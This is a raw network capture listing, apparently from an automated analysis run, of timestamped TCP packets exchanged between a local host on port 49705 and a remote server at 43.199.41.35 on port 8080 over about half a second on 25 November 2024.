Nov 25, 2024 11:10:20.799031973 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.799748898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.799834967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.799873114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.800601959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.800698996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.800740004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.801461935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.801619053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.801666975 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.802371979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.802506924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.802556038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.803232908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.803354025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.803396940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.828965902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.829155922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.829262018 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.829277039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.829333067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.829372883 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.830056906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.830164909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.830265999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.830980062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.831082106 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.831130981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.831850052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.831984997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.832022905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.832726955 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.832825899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.832874060 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.833630085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.833729982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.833776951 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.834532976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.834649086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.834687948 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.835426092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.835508108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.835550070 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.836329937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.836389065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.836431980 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.856064081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.856214046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.856261015 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.856430054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.856631994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.856674910 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.857355118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.857547045 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.857587099 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.858328104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.858367920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.858417988 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.859230042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.859241962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.859277010 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.860025883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.860116959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.860166073 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.860904932 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.861027002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.861073017 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.861821890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.861905098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.861953974 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.862708092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.862838030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.862885952 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.863611937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.863687992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.863732100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.864561081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.864573002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.864613056 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.865314960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.865428925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.865477085 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.866235018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.866349936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.866396904 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.867140055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.867214918 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.867270947 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.868042946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.868096113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.868149996 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.868943930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.869009972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.869060040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.869766951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.869929075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.869970083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.870749950 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.870801926 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.870851040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.871511936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.871629000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.871685982 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.872447014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.872515917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.872566938 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.873315096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.873420954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.873466969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.874176025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.874356031 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.874413967 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.875062943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.875195026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.875257015 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.875957012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.876159906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.876209021 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.876844883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.877084017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.877130985 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.877775908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.877866983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.877914906 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.878616095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.878757954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.878807068 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.879503012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.879700899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.879750013 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.880431890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.880573988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.880621910 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.881308079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.881503105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.881550074 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.882178068 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.882273912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.882318020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.883065939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.883132935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.883187056 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.883997917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.884063005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.884107113 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.884860992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.884969950 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.885011911 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.885819912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.885932922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.885977030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.886607885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.886759996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.886806965 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.887470961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.932811022 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.990586042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.990641117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.990757942 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.990995884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.991064072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.991108894 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.991988897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.992006063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.992067099 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.993040085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.993132114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.993184090 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.994153976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.994167089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.994215965 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.994683027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.994736910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.994796038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.995450020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.995465040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.995522022 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.020860910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.021020889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.021090984 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.021214962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.021342039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.021382093 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.022202015 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.022280931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.022331953 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.022974014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.023092985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.023149014 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.023976088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.023988962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.024033070 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.024760008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.024899960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.024951935 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.025635958 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.025748968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.025800943 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.026562929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.026773930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.026818037 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.027479887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.027585030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.027635098 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.028320074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.028414965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.028465986 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.048345089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.048360109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.048432112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.048676968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.048794985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.048840046 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.049654961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.049670935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.049721003 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.050440073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.050575018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.050620079 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.051367998 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.051476002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.051520109 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.052244902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.052273035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.052314997 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.053164005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.053219080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.053267002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.054047108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.054164886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.054223061 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.054897070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.055084944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.055135965 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.055850029 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.056006908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.056055069 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.056752920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.056767941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.056817055 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.057602882 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.057866096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.057915926 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.058419943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.058566093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.058613062 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.059302092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.059413910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.059462070 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.060302019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.060439110 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.060486078 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.061100960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.061216116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.061261892 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.061984062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.062093019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.062139988 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.062895060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.063009977 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.063057899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.063719988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.063874960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.063915968 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.064631939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.064759016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.064805031 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.065618992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.065632105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.065694094 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.066404104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.066550016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.066593885 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.067325115 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.067348003 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.067395926 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.068154097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.068219900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.068274021 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.069082022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.069192886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.069246054 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.069941044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.070059061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.070106983 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.070899963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.071050882 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.071105003 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.071909904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.072019100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.072072029 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.072619915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.072710037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.072763920 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.073569059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.073736906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.073784113 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.074367046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.074472904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.074518919 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.075254917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.075359106 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.075407982 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.076160908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.076248884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.076296091 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.077107906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.077147007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.077193975 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.077929974 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.078138113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.078191996 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.078800917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.078994036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.079037905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.079731941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.120348930 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.182571888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.182682037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.182734013 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.183036089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.183125973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.183176041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.183901072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.184006929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.184055090 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.184766054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.184899092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.184953928 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.185652018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.185758114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.185808897 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.186532021 CET	8080	49705	43.199.41.35	192.168.2.5
